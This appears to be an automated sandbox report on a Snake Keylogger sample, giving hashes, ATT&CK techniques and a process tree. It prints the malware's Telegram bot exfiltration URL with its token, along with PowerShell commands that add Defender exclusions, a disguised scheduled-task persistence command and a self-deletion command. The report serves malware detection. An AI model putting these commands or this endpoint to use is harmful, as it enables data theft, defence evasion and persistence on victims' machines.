snakekeylogger | ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
10-09-2024 02:07

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General

Target

ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
Size

592KB
MD5

ae6ed7f141a85db09d7581cdc00b0428
SHA1

b39de7905138cc25e77d6b0892ba5e1e700c8760
SHA256

ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf
SHA512

1e6af63e42394d91e8a890b59d4a56a62c7c3ff4f378d5eda0889794645ac15aaa41786f04ec2cbcb8e5eff221bd05ff2fde98bfee730c464768e8ef69d6c3bb
SSDEEP

12288:+D46QPxR+LOVGOvwRhpWSsv0UWoNO/wavHCYLrSNnelkrkHfkR:+DNQZQzpRZIWoNO/zvCpNFka

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7152694115:AAHaHmDCgcQp63bt60B-ZXF1o-UoY9ASQuE/sendMessage?chat_id=7368703476

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 5 IoCs

resource	yara_rule
behavioral1/memory/1912-30-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/1912-29-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/1912-28-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/1912-25-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/1912-23-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2948	powershell.exe
2792	powershell.exe

Deletes itself 1 IoCs

pid	Process
1408	cmd.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2644 set thread context of 1912	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	36

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2716	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
1912	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
2948	powershell.exe
2792	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
Token: SeDebugPrivilege	1912	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeDebugPrivilege	2948	powershell.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 2644 wrote to memory of 2948	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	30
PID 2644 wrote to memory of 2948	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	30
PID 2644 wrote to memory of 2948	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	30
PID 2644 wrote to memory of 2948	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	30
PID 2644 wrote to memory of 2792	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	32
PID 2644 wrote to memory of 2792	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	32
PID 2644 wrote to memory of 2792	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	32
PID 2644 wrote to memory of 2792	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	32
PID 2644 wrote to memory of 2716	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	33
PID 2644 wrote to memory of 2716	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	33
PID 2644 wrote to memory of 2716	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	33
PID 2644 wrote to memory of 2716	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	33
PID 2644 wrote to memory of 1912	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	36
PID 2644 wrote to memory of 1912	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	36
PID 2644 wrote to memory of 1912	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	36
PID 2644 wrote to memory of 1912	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	36
PID 2644 wrote to memory of 1912	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	36
PID 2644 wrote to memory of 1912	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	36
PID 2644 wrote to memory of 1912	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	36
PID 2644 wrote to memory of 1912	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	36
PID 2644 wrote to memory of 1912	2644	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	36
PID 1912 wrote to memory of 1408	1912	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	37
PID 1912 wrote to memory of 1408	1912	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	37
PID 1912 wrote to memory of 1408	1912	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	37
PID 1912 wrote to memory of 1408	1912	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	37
PID 1408 wrote to memory of 2280	1408	cmd.exe	39
PID 1408 wrote to memory of 2280	1408	cmd.exe	39
PID 1408 wrote to memory of 2280	1408	cmd.exe	39
PID 1408 wrote to memory of 2280	1408	cmd.exe	39

C:\Users\Admin\AppData\Local\Temp\ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
"C:\Users\Admin\AppData\Local\Temp\ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2948
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\zPGkpEagT.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2792
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\zPGkpEagT" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2349.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:2716
- C:\Users\Admin\AppData\Local\Temp\ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
  "C:\Users\Admin\AppData\Local\Temp\ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1912
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe"
    3⤵
    - Deletes itself
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1408
  - - C:\Windows\SysWOW64\choice.exe
      choice /C Y /N /D Y /T 3
      4⤵
      System Location Discovery: System Language Discovery
      PID:2280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\tmp2349.tmp

Filesize
1KB

MD5
82d3c8bb620ccbe742955ef962466dd4

SHA1
eed4956dba57070fe54fd7441991f70d589a3aa0

SHA256
2d52785a43293a325d5abe10064ed4bff34c492cd133e07978c43620abebf35e

SHA512
4e449ada547b179238158912527e6d6c0f611910596967ac5c4b825fc7b48eb7bf6c4049f33d4885771dc9d1ffd23249736d64c1afd89c7e4182c439e582b860

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
a8b06bdba066130309ed2216bde37dc0

SHA1
1dc777327c2453464276bd183bb3af675bdc1636

SHA256
85efc911da8e1b72d0b010fc37bcbd82c132742817f601cb72612b760b2e180a

SHA512
6c86a56259b1b51160ea263adf276c3023f459c9414082cf646d289ae6f836704cf3caa969596115ff5ea7a2d9fe7f6eaaac473bb769ebea9a42be246f5d1cd0

Download Submit
memory/1912-27-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/1912-29-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/1912-19-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/1912-21-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/1912-23-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/1912-25-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/1912-28-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/1912-30-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2644-6-0x0000000004CE0000-0x0000000004D48000-memory.dmp

Filesize
416KB

Download
memory/2644-1-0x0000000000D50000-0x0000000000DE6000-memory.dmp

Filesize
600KB

Download
memory/2644-0-0x0000000073D3E000-0x0000000073D3F000-memory.dmp

Filesize
4KB

Download
memory/2644-2-0x0000000000590000-0x00000000005A8000-memory.dmp

Filesize
96KB

Download
memory/2644-3-0x0000000073D30000-0x000000007441E000-memory.dmp

Filesize
6.9MB

Download
memory/2644-5-0x0000000073D30000-0x000000007441E000-memory.dmp

Filesize
6.9MB

Download
memory/2644-4-0x0000000073D3E000-0x0000000073D3F000-memory.dmp

Filesize
4KB

Download
memory/2644-31-0x0000000073D30000-0x000000007441E000-memory.dmp

Filesize
6.9MB

Download